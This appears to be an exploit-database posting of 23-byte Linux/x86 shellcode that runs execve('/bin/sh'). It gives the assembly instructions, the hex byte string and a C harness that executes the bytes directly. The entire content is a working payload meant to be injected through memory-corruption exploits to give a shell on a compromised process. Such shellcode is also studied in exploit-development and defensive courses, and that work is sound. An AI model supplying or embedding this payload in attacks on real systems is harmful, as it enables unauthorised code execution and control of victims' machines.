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* Linux/x86 execve /bin/sh shellcode 23 bytes *
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* Author: Hamza Megahed                       *
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* Twitter: @Hamza_Mega                        *
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* blog: hamza-mega[dot]blogspot[dot]com       *
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* E-mail: hamza[dot]megahed[at]gmail[dot]com  *
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xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

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#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
      "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}